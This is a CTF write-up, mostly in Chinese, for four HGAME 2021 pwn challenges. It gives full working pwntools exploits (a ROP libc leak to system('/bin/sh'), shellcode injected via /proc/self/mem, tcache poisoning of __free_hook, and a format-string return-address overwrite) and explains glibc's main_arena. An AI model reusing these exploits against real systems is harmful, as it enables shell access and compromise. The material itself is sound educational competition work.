HGAME2021-WEEK2-PWN-WP

Posted on Feb 9, 2021

rop_primary

没什么难度,就是单纯的 ROP

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
import re

elf = ELF("./rop_primary")
pop_rdi_ret = 0x401613
pop_rsi_r15_ret = 0x401611
pop_r14_r15_ret = 0x401610

def matrixMul(A, B):
    if len(A[0]) == len(B):
        res = [[0] * len(B[0]) for i in range(len(A))]
        for i in range(len(A)):
            for j in range(len(B[0])):
                for k in range(len(B)):
                    res[i][j] += int(A[i][k]) * int(B[k][j])
        return res

sh = remote("159.75.104.107",30372)

sh.recvuntil("A:\n")
matA = []
matB = []
while 1:
    number_string = sh.recvuntil("\n",drop = True)
    if(number_string == 'B:'):
        break
    matA.append(re.findall(r"\d+\.?\d*",number_string))

while 1:
    number_string = sh.recvuntil("\n",drop = True)
    if(number_string == 'a * b = ?'):
        break
    matB.append(re.findall(r"\d+\.?\d*",number_string))

matAns = matrixMul(matA,matB)
print matAns

for i in matAns:
    for j in i:
        sh.sendline(str(j))

sh.recvuntil("best\n")
payload = 'a' * 0x30 + 'b' * 8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols["puts"]) + p64(0x40157B)
sh.sendline(payload)
leak_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success("addr:" + hex(leak_addr))

libc = LibcSearcher('puts',leak_addr)
libc_base = leak_addr - libc.dump("puts")
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

payload = 'a' * 0x30 + 'b' * 8 + p64(pop_r14_r15_ret) + p64(0) * 2 
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
sh.sendlineafter('best\n',payload)
sh.interactive()

写完exp打远程的时候发现搜不出来 libc,考虑是 libc-database 版本过低,然后尝试更新,但是 libc-database 本身是装 LibcSearcher 的时候一起装的,可能安装的时候有点问题,get 脚本用不来,所以只好整个 libc-database 删掉重装,重新 get,家里的带宽确实比较小,整个更新大概花了半个多小时,再加上更新的时候干别的事情去了差点把这题忘了,所以很晚才打通,但是运气还算不错,抢到了一血,只比二血早了30秒

the_shop_of_cosmos

这道题是真的开阔视野了,出的是真当炫酷。程序的逻辑很简单,有无限次读文件和无限次写文件的机会。其实看到题目我第一个就想到了对 /proc 目录动手,但是当时觉得不知道服务器跑的进程的 uid 也没有用。虽然终端里面有 $UID 可以代替,但是 open 里没法用,遂放弃,想想真的很遗憾,放出 hint之后我仔细看了一下这个目录的相关知识,了解到有self 这个目录,每个进程访问都可以访问到自己的对应 uid 的目录,同时也避免了 frok 之类操作对 uid 的改变这样的问题。而每个进程对应 uid 目录中都有一些该进程信息的虚拟文件,我们主要关系 mapsmem,前者存储了进程的内存映射情况,可以获得各种基地址;后者则是进程占有的整个内存空间的映射,这个文件是可读写的,.text 也同样可写。所以思路就有了,先通过一次读获取进程的基地址,然后通过一次写把一段会执行的 .text 中的代码直接写成 shellcode 就可以 getshell 了。

利用整型溢出可以获得无限的钱,这个应该不用多说了

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')

elf = ELF("./shop")
libc = ELF("./libc.so.6")
sh = process("./shop")
sh = remote("159.75.104.107",30398)

sh.sendlineafter(">> ","1")
sh.sendlineafter(">> ","4294867296")

sh.sendlineafter(">> ",'2')
sh.sendlineafter(">> ",'1')
sh.sendlineafter(">> ",'/proc/self/maps')
sh.recvuntil(":")
prog_base = int(sh.recvuntil("-",drop = True),base = 16)
log.success("prog_base:",prog_base)

sh.sendlineafter(">> ",'3')
sh.sendlineafter(">> ",'1')
sh.sendlineafter(">> ",'/proc/self/mem')
sh.sendlineafter(">> ",str(prog_base + 0x17EC))
shellcode = asm(shellcraft.sh())
sh.sendlineafter(">> ",str(len(shellcode)))
sh.sendlineafter(">> ",shellcode)

sh.interactive()

patriot’s note

这算是一个 Tcache poisoning 的裸题了吧,以前做题的时候一直没去研究 Tcache 相关的机制,这一次看了一下发现确实使利用变的简单了许多。Tcache 的优先级很高,高于 Fastbintop chunk 的前向合并。 TcacheFastbin 其实挺像的,当然 Tcache 本身是一个单独维护的隔离链表,而 Fastbin 只是一个 LIFO 的单链表(换句话说就是用链表模拟的栈),这里来看的话区别还是很大的,但是在利用上有相似之处。就本题来看,存在 UAF ,可以对 Tcache 结构体的 next 指针任意写,这样就可以实现任意地址分配,从而实现任意地址写。和 FastbinArbitrary Alloc 没什么区别,唯一的就是 Tcache 不会对被分配地址 chunksize 标记做检测,所以我们甚至不需要伪造 size 就可以直接 Arbitrary Alloc 了。当然实现利用还需要一个 leak,可以申请并释放一个属于 Unsorted Binchunk(就本题而言,还需要避免这个 chunktop chunk 合并掉),这样在 bin中的chunkfd指针就会指向main_arena的一个固定偏移处,然后通过puts 功能就可以 leak 出 libc 的基地址了。

关于 main_arena

fd 指向 main_arena 的固定偏移处的原因

随随便便地说 fd 必定会指向 main_arena 的一个固定偏移显得很苍白,原因还是解释一下,main_arenaptmalloc 管理主分配区的唯一实例,其类型为 struct malloc_state,就 2.27 版本的 libc 来说是这样定义的

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

这里面的 bins 数组就保存了 Unsorted Bin 的头节点,由于 Unsorted Bin 用(循环)双向链表维护,那么链表中尾节点的 fd 就会指向头节点,也就是结构体的固定偏移处了(事实上 bins[0]bins[1] 就是Unsorted Bin的头节点),本题我们只往Unsorted Bin中放一个bin,所以第这个 bin 就是尾节点了。事实上还是有必要多啰嗦几句,fd 指向下一个节点,bk指向前一个节点,如果Unsorted Bin链表中不止一个bin的话第一个binfd是不会像本题一样指向main_arena的,但是bk仍然可以 leak,在 64 位机下由于地址高2字节为\x00的原因往往难以 leak 出bk,但是 32 位机下往往是可以的。也就是说一些情况下不一定需要 leak 链表尾,头也是可以的。

附一张调试图

这样应该就很清楚了

如何获得 main_arena 的偏移

固定偏移具体是多少可以很容易地通过调试得出,也可以自己算,而 main_arena 相对于基地址的偏移稍微麻烦一点。把题目提供的 libc 放到 IDA 里面,找到 malloc_trim() 函数

dword_3EBC40 就是 main_arena 了。当然这样说他是就是显得很不负责任,凭啥说他是呢?还是要看一下 malloc.c 中的源码

int
__malloc_trim (size_t s)
{
  int result = 0;

  if (__malloc_initialized < 0)
    ptmalloc_init ();

  mstate ar_ptr = &main_arena;//<=here!
  do
    {
      __libc_lock_lock (ar_ptr->mutex);
      result |= mtrim (ar_ptr, s);
      __libc_lock_unlock (ar_ptr->mutex);

      ar_ptr = ar_ptr->next;
    }
  while (ar_ptr != &main_arena);

  return result;
}

两个对照一下就明白了。按说 main_arena 在很多函数里面肯定都出现了,为什么独独找这个函数呢?我也不知道。大家都用这个找就这个吧。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#sh = process("./note")
sh = remote("159.75.104.107",30369)
libc = ELF("./libc-2.27.so") 
def take(size):
    sh.sendlineafter("exit\n",'1')
    sh.sendlineafter("write?\n",str(size))

def delete(index):
    sh.sendlineafter("exit\n",'2')
    sh.sendlineafter("delete?\n",str(index))
  
def edit(payload,index):
    sh.sendlineafter("exit\n",'3')
    sh.sendlineafter("edit?\n",str(index))
    sh.send(payload)

def show(index):
    sh.sendlineafter("exit\n",'4')
    sh.sendlineafter("show?\n",str(index))

take(2048)#index:0
take(0x100)#index:1

delete(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
delete(1)

#malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
#log.success("malloc_hook:" + hex(malloc_hook)) 
#edit(p64(malloc_hook - 0x10),1)
edit(p64(free_hook),1)
take(0x100)#index:2
take(0x100)#index:3

one_gadget = libc_base + 0x4f432
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,3)

#take(0x200)
delete(0)
sh.interactive()

malloc_hook 的时候发现 one_gadget 都不能用,就改成 free_hook 了。

killerqueen

逻辑挺简单的,有两次格式化字符串攻击的机会,我选择第一次 leak,第二次改返回地址为 one_gadget getshell。其实刚开始的时候我是考虑通过格式占位符 %200000cprintf 输出大量字符,这样他就会调用 malloc(),那么就只有修改 __malloc_hook__free_hookone_gadget 就可以 getshell 了。但是由于 one_gadget 的限制不可行,就只好改返回地址了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context(log_level = 'debug',os = 'linux',arch = 'amd64')
context.terminal = ['tmux','splitw','-h']
for i in range(0x70,0x79):#0x10a41c -> i==0x70;0x4f432 -> i==0x48
    try:
        #sh = process('./kq')
        sh = remote("159.75.104.107",30339)

        sh.sendlineafter("电话\n",'0')
        rand = int(sh.recvuntil(":",drop = True),base = 10)
        sh.sendlineafter("什么\n",'a')
        sh.send('\n')

        sh.sendlineafter("\n",str(-rand - 2))
        payload = '%19$p-%17$p-%24$p-%44$p'
        sh.sendlineafter("是——\n",payload)

        sh.recvuntil('...\n')
        _IO_2_1_stdout_addr = int(sh.recvuntil("-",drop = True),base = 16)
        _IO_file_write_addr = int(sh.recvuntil("-",drop = True),base = 16) - 45
        prog_base = int(sh.recvuntil("-",drop = True),base = 16) - 0x10b8
        stack_addr = int(sh.recvuntil("\n",drop = True),base = 16)
        ret_addr = stack_addr - 0x28 - 0xE0 
        log.success('_IO_2_1_stdout_:' + hex(_IO_2_1_stdout_addr))
        log.success('ret_addr:' + hex(ret_addr))

        libc = LibcSearcher("_IO_2_1_stdout_",_IO_2_1_stdout_addr)
        libc.add_condition("_IO_file_write",_IO_file_write_addr)
        libc_base = _IO_2_1_stdout_addr - libc.dump("_IO_2_1_stdout_")
        log.success('libc_base:' + hex(libc_base))
        log.success('_IO_file_write_addr:' + hex(_IO_file_write_addr))
        log.success('_IO_file_write_addr_calc:' + hex(libc_base + libc.dump('_IO_file_write')))
        malloc_hook = libc_base + libc.dump("__malloc_hook")
        one_gadget = libc_base + 0x10a41c
        #one_gadget = prog_base + 0x910
        log.success('one:' + hex(one_gadget))

        #payload = fmtstr_payload(6,{malloc_hook:one_gadget},numbwritten = 0,write_size = 'short')

        target_info = [[one_gadget & 0xFFFF,0],[(one_gadget >> 16) & 0xFFFF,2],[(one_gadget >> 32) & 0xFFFF,4]]
        target_info = sorted(target_info,key = (lambda x:x[0]))
        print target_info
        payload = '%15$lln' 
        payload += '%' + str(target_info[0][0]) + 'c' + '%12$hn'
        payload += '%' + str(target_info[1][0] - target_info[0][0]) + 'c' + '%13$hn'
        payload += '%' + str(target_info[2][0] - target_info[1][0]) + 'c' + '%14$hn'
        payload = payload.ljust(48,'a')
        payload += p64(ret_addr + target_info[0][1])
        payload += p64(ret_addr + target_info[1][1])
        payload += p64(ret_addr + target_info[2][1])
        payload += p64(ret_addr + i)
        payload = payload.ljust(0x100,'\x00')

        print payload
        #payload += '%150000cok'
        sh.sendafter("什么\n",payload)
        sh.recvuntil("a")
        log.success('one:' + hex(one_gadget))
        #gdb.attach(proc.pidof(sh)[0])
        sh.sendline("")
        sh.sendline("echo 'pwned'")
        sh.recvuntil("pwned")
        sh.interactive()
        break
    except:
        sh.close()

麻烦还是有点麻烦的,调了不少时间。